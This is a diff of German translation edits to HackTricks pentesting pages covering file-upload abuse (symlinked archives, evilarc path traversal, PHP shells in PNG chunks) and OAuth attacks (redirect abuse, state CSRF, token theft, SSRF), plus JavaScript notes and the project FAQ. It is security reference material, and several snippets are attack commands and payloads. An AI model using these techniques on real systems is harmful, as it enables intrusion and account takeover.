@ -218,11 +218,11 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
### In verschiedenen Ordnern dekomprimieren
|
||||
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützt, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
|
||||
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
@ -251,7 +251,7 @@ create_zip()
|
||||
```
|
||||
**Missbrauch von Kompression für File Spraying**
|
||||
|
||||
Für weitere Details **überprüfen Sie den Originalbeitrag in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Für weitere Details **prüfen Sie den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
|
||||
|
||||
@ -291,7 +291,7 @@ pop graphic-context
|
||||
|
||||
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
|
||||
|
||||
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenzieller Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
|
||||
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
|
||||
|
||||
Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Grundlegende Informationen <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der ein **Autorisierungsframework bereitstellt, das einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen durchzuführen** (der Autorisierungsserver).
|
||||
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der ein **Autorisierungsframework bereitstellt, das einer Anwendung den Zugriff auf oder die Durchführung von Aktionen im Konto eines Benutzers in einer anderen Anwendung** (dem Autorisierungsserver) ermöglicht.
|
||||
|
||||
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge**, einschließlich privater, **anzeigen soll**. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich wird ein Zustimmungsbildschirm auf _https://socialmedia.com_ erscheinen, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt,** umreißt. Nach Ihrer Genehmigung erhält _https://example.com_ die Fähigkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
|
||||
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge**, einschließlich privater, **anzeigen** soll. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich wird ein Zustimmungsbildschirm auf _https://socialmedia.com_ erscheinen, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt**, umreißt. Nach Ihrer Autorisierung erhält _https://example.com_ die Möglichkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
|
||||
|
||||
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu verstehen:
|
||||
|
||||
@ -15,13 +15,13 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu
|
||||
- **client application**: Die **Anwendung, die die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
|
||||
- **authorization server**: Der **Server, der `access tokens`** an die `client application` nach erfolgreicher Authentifizierung des `resource owner` und Sicherstellung der Autorisierung ausgibt, z.B. **https://socialmedia.com**.
|
||||
- **client_id**: Ein öffentlicher, eindeutiger Identifikator für die Anwendung.
|
||||
- **client_secret:** Ein vertraulicher Schlüssel, der nur der Anwendung und dem Autorisierungsserver bekannt ist, der zur Generierung von `access_tokens` verwendet wird.
|
||||
- **response_type**: Ein Wert, der **den angeforderten Token-Typ angibt**, wie `code`.
|
||||
- **client_secret:** Ein vertraulicher Schlüssel, der nur der Anwendung und dem Autorisierungsserver bekannt ist, verwendet zur Generierung von `access_tokens`.
|
||||
- **response_type**: Ein Wert, der **den angeforderten Token-Typ** angibt, wie `code`.
|
||||
- **scope**: Der **Zugriffslevel**, den die `client application` vom `resource owner` anfordert.
|
||||
- **redirect_uri**: Die **URL, zu der der Benutzer nach der Autorisierung umgeleitet wird**. Diese muss in der Regel mit der vorab registrierten Umleitungs-URL übereinstimmen.
|
||||
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver zu erhalten**. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
|
||||
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ angibt**.
|
||||
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erwerben.
|
||||
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver** zu erhalten. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
|
||||
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ** angibt.
|
||||
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erhalten.
|
||||
- **access_token**: Der **Token, den die Client-Anwendung für API-Anfragen** im Namen des `resource owner` verwendet.
|
||||
- **refresh_token**: Ermöglicht der Anwendung, **ein neues `access_token` zu erhalten, ohne den Benutzer erneut zu fragen**.
|
||||
|
||||
@ -30,7 +30,7 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu
|
||||
Der **tatsächliche OAuth-Ablauf** verläuft wie folgt:
|
||||
|
||||
1. Sie navigieren zu [https://example.com](https://example.com) und wählen die Schaltfläche „Mit Social Media integrieren“.
|
||||
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Genehmigung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
|
||||
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Autorisierung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
@ -44,7 +44,7 @@ https://socialmedia.com/auth
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com verwendet diesen `code` zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
|
||||
5. https://example.com nutzt diesen `code` zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
@ -60,9 +60,9 @@ Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Imp
|
||||
|
||||
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeitungsmethoden gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
|
||||
|
||||
Neben `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
|
||||
Neben `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert zwischen den Servern.
|
||||
|
||||
Für diejenigen, die einen OpenID-Server anvisieren, listet der Entdeckungsendpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration`. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
|
||||
Für diejenigen, die einen OpenID-Server anvisieren, listet der Entdeckungsendpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration` auf. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
|
||||
|
||||
### XSS in der Umleitungsimplementierung <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -72,24 +72,24 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Unsachgemäße Handhabung des Statusparameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle tritt auf, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
|
||||
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle entsteht, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
|
||||
|
||||
Angreifer können dies ausnutzen, indem sie den Autorisierungsprozess abfangen, um ihr Konto mit dem Konto eines Opfers zu verknüpfen, was zu potenziellen **Kontoübernahmen** führen kann. Dies ist besonders kritisch in Anwendungen, in denen OAuth für **Authentifizierungszwecke** verwendet wird.
|
||||
|
||||
Echte Beispiele für diese Schwachstelle wurden in verschiedenen **CTF-Herausforderungen** und **Hacking-Plattformen** dokumentiert, die ihre praktischen Auswirkungen hervorheben. Das Problem erstreckt sich auch auf Integrationen mit Drittanbieterdiensten wie **Slack**, **Stripe** und **PayPal**, bei denen Angreifer Benachrichtigungen oder Zahlungen auf ihre Konten umleiten können.
|
||||
|
||||
Die ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
|
||||
Eine ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
|
||||
|
||||
### Vor der Kontoübernahme <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vorab erstellten Konto des Angreifers verknüpfen, was zu unbefugtem Zugriff führt.
|
||||
2. **Ausnutzung laxen OAuth-E-Mail-Verifizierung**: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich bei ihrem Dienst registrieren und dann die Kontoe-Mail auf die des Opfers ändern. Diese Methode birgt ähnlich das Risiko eines unbefugten Zugriffs auf das Konto, ähnlich dem ersten Szenario, jedoch über einen anderen Angriffsvektor.
|
||||
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vom Angreifer erstellten Konto verknüpfen, was zu unbefugtem Zugriff führt.
|
||||
2. **Ausnutzung laxen OAuth-E-Mail-Verifizierung**: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich bei ihrem Dienst registrieren und dann die Kontoe-Mail auf die des Opfers ändern. Diese Methode birgt ebenfalls das Risiko eines unbefugten Zugriffs auf das Konto, ähnlich wie im ersten Szenario, jedoch über einen anderen Angriffsvektor.
|
||||
|
||||
### Offenlegung von Geheimnissen <a href="#e177" id="e177"></a>
|
||||
|
||||
Die Identifizierung und der Schutz geheimer OAuth-Parameter sind entscheidend. Während die **`client_id`** sicher offengelegt werden kann, birgt die Offenlegung des **`client_secret`** erhebliche Risiken. Wenn das `client_secret` kompromittiert wird, können Angreifer die Identität und das Vertrauen der Anwendung ausnutzen, um **Benutzer-`access_tokens`** und private Informationen zu **stehlen**.
|
||||
|
||||
Eine häufige Schwachstelle tritt auf, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungscodes gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
|
||||
Eine häufige Schwachstelle entsteht, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungscodes gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer-Header leckt Code + Status
|
||||
|
||||
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite browsed, ist er anfällig.
|
||||
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite navigiert, ist er anfällig.
|
||||
|
||||
### Zugriffstoken im Browserverlauf gespeichert
|
||||
|
||||
@ -155,7 +155,7 @@ Wie [**in diesem Bericht erwähnt**](https://salt.security/blog/oh-auth-abusing-
|
||||
|
||||
Das liegt daran, dass ein **Angreifer** eine **Anwendung, die OAuth unterstützt und sich mit Facebook anmeldet** (zum Beispiel), in seiner eigenen Anwendung erstellen könnte. Sobald ein Opfer sich mit Facebook in der **Anwendung des Angreifers** anmeldet, könnte der Angreifer das **OAuth-Token des Benutzers, das seiner Anwendung gegeben wurde, erhalten und es verwenden, um sich in der OAuth-Anwendung des Opfers mit dem Benutzer-Token des Opfers anzumelden**.
|
||||
|
||||
> [!CAUTION]
|
||||
> [!VORSICHT]
|
||||
> Daher, wenn es dem Angreifer gelingt, dass der Benutzer auf seine eigene OAuth-Anwendung zugreift, wird er in der Lage sein, das Konto des Opfers in Anwendungen zu übernehmen, die ein Token erwarten und nicht überprüfen, ob das Token ihrer App-ID zugewiesen wurde.
|
||||
|
||||
### Zwei Links & Cookie <a href="#bda5" id="bda5"></a>
|
||||
@ -164,7 +164,7 @@ Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-stor
|
||||
|
||||
Um diese Eingabeaufforderung zu umgehen, war es möglich, einen Tab zu öffnen, um den **Oauth-Flow** zu initiieren, der dieses RU-Cookie mit der **returnUrl** setzen würde, den Tab zu schließen, bevor die Eingabeaufforderung angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann wird die **Eingabeaufforderung nicht über den Host des Angreifers informieren**, aber das Cookie würde auf ihn gesetzt, sodass das **Token an den Host des Angreifers** in der Umleitung gesendet wird.
|
||||
|
||||
### Eingabeaufforderungs-Interaktionsumgehung <a href="#bda5" id="bda5"></a>
|
||||
### Eingabeaufforderung Interaktionsumgehung <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Wie in [**diesem Video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q) erklärt, erlauben einige OAuth-Implementierungen, den **`prompt`** GET-Parameter als None (**`&prompt=none`**) anzugeben, um **zu verhindern, dass Benutzer gefragt werden, ob sie den gegebenen Zugriff** in einer Eingabeaufforderung im Web bestätigen möchten, wenn sie bereits in der Plattform angemeldet sind.
|
||||
|
||||
@ -202,18 +202,18 @@ Die dynamische Client-Registrierung in OAuth dient als weniger offensichtlicher,
|
||||
- Diese Funktion entspricht den in **RFC7591** und **OpenID Connect Registration 1.0** festgelegten Spezifikationen, die Parameter enthalten, die potenziell anfällig für SSRF sind.
|
||||
- Der Registrierungsprozess kann unbeabsichtigt Server in mehreren Weisen SSRF aussetzen:
|
||||
- **`logo_uri`**: Eine URL für das Logo der Client-Anwendung, die möglicherweise vom Server abgerufen wird, was SSRF auslösen oder zu XSS führen kann, wenn die URL falsch behandelt wird.
|
||||
- **`jwks_uri`**: Eine URL zum JWK-Dokument des Clients, die, wenn bösartig erstellt, den Server dazu bringen kann, ausgehende Anfragen an einen vom Angreifer kontrollierten Server zu senden.
|
||||
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, das der Server abrufen könnte, was eine SSRF-Möglichkeit schafft.
|
||||
- **`jwks_uri`**: Eine URL zum JWK-Dokument des Clients, die, wenn sie bösartig gestaltet ist, den Server dazu bringen kann, ausgehende Anfragen an einen vom Angreifer kontrollierten Server zu stellen.
|
||||
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, das der Server abrufen könnte und somit eine SSRF-Möglichkeit schafft.
|
||||
- **`request_uris`**: Listet erlaubte Anfrage-URIs für den Client auf, die ausgenutzt werden können, wenn der Server diese URIs zu Beginn des Autorisierungsprozesses abruft.
|
||||
|
||||
**Ausbeutungsstrategie:**
|
||||
|
||||
- SSRF kann ausgelöst werden, indem ein neuer Client mit bösartigen URLs in Parametern wie `logo_uri`, `jwks_uri` oder `sector_identifier_uri` registriert wird.
|
||||
- Während eine direkte Ausbeutung über `request_uris` möglicherweise durch Whitelist-Kontrollen gemildert wird, kann die Bereitstellung einer vorregistrierten, vom Angreifer kontrollierten `request_uri` SSRF während der Autorisierungsphase erleichtern.
|
||||
- Während eine direkte Ausbeutung über `request_uris` möglicherweise durch Whitelist-Kontrollen gemildert wird, kann die Bereitstellung einer vorregistrierten, vom Angreifer kontrollierten `request_uri` während der Autorisierungsphase SSRF erleichtern.
|
||||
|
||||
## OAuth-Anbieter-Race-Conditions
|
||||
## OAuth-Anbieter-Race Conditions
|
||||
|
||||
Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, um auf mögliche Race Conditions zu testen**](race-condition.md).
|
||||
Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, um mögliche Race Conditions zu testen**](race-condition.md).
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@ -208,7 +208,7 @@ Der Dekrement-Operator `--` ist ebenfalls eine Zuweisung. Dieser Operator nimmt
|
||||
### .call und .apply
|
||||
|
||||
Die **`.call`**-Methode einer Funktion wird verwendet, um die **Funktion auszuführen**.\
|
||||
Das **erste Argument**, das sie standardmäßig erwartet, ist der **Wert von `this`**, und wenn **nichts** bereitgestellt wird, wird **`window`** dieser Wert sein (es sei denn, es wird **`strict mode`** verwendet).
|
||||
Das **erste Argument**, das sie standardmäßig erwartet, ist der **Wert von `this`** und wenn **nichts** bereitgestellt wird, wird **`window`** dieser Wert sein (es sei denn, **`strict mode`** wird verwendet).
|
||||
```javascript
|
||||
function test_call() {
|
||||
console.log(this.value) //baz
|
||||
@ -276,7 +276,7 @@ plusone = (a) => a + 100
|
||||
```
|
||||
### Bind-Funktion
|
||||
|
||||
Die Bind-Funktion ermöglicht es, eine **Kopie** einer **Funktion zu erstellen**, die das **`this`**-Objekt und die gegebenen **Parameter** ändert.
|
||||
Die Bind-Funktion ermöglicht es, eine **Kopie** einer **Funktion zu erstellen**, die das **`this`**-Objekt und die **gegebenen Parameter** ändert.
|
||||
```javascript
|
||||
//This will use the this object and print "Hello World"
|
||||
var fn = function (param1, param2) {
|
||||
@ -301,7 +301,7 @@ var bindFn_this = fn.bind(this, "fixingparam1")
|
||||
bindFn_change("Hello", "World")
|
||||
```
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass Sie mit **`bind`** das **`this`**-Objekt manipulieren können, das beim Aufrufen der Funktion verwendet wird.
|
||||
> Beachten Sie, dass Sie mit **`bind`** das **`this`** Objekt manipulieren können, das beim Aufrufen der Funktion verwendet wird.
|
||||
|
||||
### Funktionscode-Leck
|
||||
|
||||
|
||||
@ -34,7 +34,7 @@ Neben unseren eigenen Cookies können wir auch Cookies von Drittanbietern verwen
|
||||
|
||||
Verwalten von Cookies
|
||||
|
||||
Die meisten Webbrowser ermöglichen es Ihnen, Cookies über ihre Einstellungen zu verwalten. Sie können wählen, ob Sie die Verwendung von Cookies auf Ihrem Gerät blockieren, löschen oder einschränken möchten. Bitte beachten Sie jedoch, dass das Deaktivieren von Cookies die Funktionalität und Leistung unserer Websites beeinträchtigen kann.
|
||||
Die meisten Webbrowser ermöglichen es Ihnen, Cookies über ihre Einstellungen zu verwalten. Sie können wählen, ob Sie Cookies auf Ihrem Gerät blockieren, löschen oder deren Verwendung einschränken möchten. Bitte beachten Sie jedoch, dass das Deaktivieren von Cookies die Funktionalität und Leistung unserer Websites beeinträchtigen kann.
|
||||
|
||||
Änderungen an dieser Cookies-Richtlinie
|
||||
|
||||
|
||||
@ -15,7 +15,7 @@
|
||||
> - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks.
|
||||
> - In mehreren Fällen werden wir einfach **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den **Leser ermutigen, den ursprünglichen Beitrag** für weitere Details zu besuchen.
|
||||
> - **ORGANISIEREN** Sie alle Hacking-Techniken im Buch, damit es **ZUGÄNGLICHER** ist.
|
||||
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen können**.
|
||||
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen** können.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -44,14 +44,14 @@ Vergessen Sie nicht, **einen Stern in den Github-Projekten zu geben!**
|
||||
>
|
||||
> - **Kann ich einige Inhalte von HackTricks kopieren und in meinem Blog verwenden?**
|
||||
|
||||
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von wo der Inhalt stammt.
|
||||
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von denen der Inhalt stammt.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Wie kann ich eine Seite von HackTricks zitieren?**
|
||||
|
||||
Solange der Link **der** Seite(n), von der Sie die Informationen entnommen haben, erscheint, ist das ausreichend.\
|
||||
Wenn Sie ein Bibtex benötigen, können Sie etwas verwenden wie:
|
||||
Wenn Sie ein BibTeX benötigen, können Sie etwas verwenden wie:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -76,7 +76,7 @@ Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Bildungsressourcen für
|
||||
|
||||
Wenn Sie denken, dass HackTricks-Bücher für **kommerzielle Zwecke** gemacht sind, liegen Sie **VÖLLIG FALSCH**.
|
||||
|
||||
Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Gemeinschaft die Möglichkeit bieten wollen, unsere Arbeit zu schätzen**, wenn sie möchten. Daher bieten wir den Menschen die Möglichkeit, HackTricks über [**Github-Sponsoren**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersicherheitsunternehmen**, um HackTricks zu sponsern und **einige Anzeigen** im Buch zu haben, wobei die **Anzeigen** immer an Orten platziert werden, die sie **sichtbar** machen, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
|
||||
Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Gemeinschaft die Möglichkeit bieten möchten, unsere Arbeit zu schätzen**, wenn sie möchten. Daher bieten wir den Menschen die Möglichkeit, HackTricks über [**Github-Sponsoren**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersicherheitsunternehmen**, um HackTricks zu sponsern und **einige Anzeigen** im Buch zu haben, wobei die **Anzeigen** immer an Orten platziert werden, die sie **sichtbar** machen, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
|
||||
|
||||
Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden wie andere Blogs mit viel weniger Inhalt als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
|
||||
|
||||
@ -84,17 +84,17 @@ Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden wie andere Blo
|
||||
>
|
||||
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogbeitrag basiert, aber nicht referenziert ist?**
|
||||
|
||||
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lassen Sie es uns über Github-Issues, Twitter, Discord... wissen, den Link zur HackTricks-Seite mit dem Inhalt und den Link zu Ihrem Blog, und **wir werden es überprüfen und so schnell wie möglich hinzufügen**.
|
||||
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lassen Sie es uns über Github-Issues, Twitter, Discord... wissen, den Link zur HackTricks-Seite mit dem Inhalt und den Link zu Ihrem Blog und **wir werden es überprüfen und so schnell wie möglich hinzufügen**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte, dass sie dort nicht sind?**
|
||||
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte nicht, dass sie dort sind?**
|
||||
|
||||
Beachten Sie, dass Links zu Ihrer Seite in HackTricks:
|
||||
|
||||
- Ihr **SEO** verbessern
|
||||
- Ihre **SEO** verbessern
|
||||
- Der Inhalt wird **in mehr als 15 Sprachen übersetzt**, was es mehr Menschen ermöglicht, auf diesen Inhalt zuzugreifen
|
||||
- **HackTricks ermutigt** die Menschen, **Ihre Seite zu besuchen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem ihre Seite in HackTricks ist, mehr Besuche erhalten)
|
||||
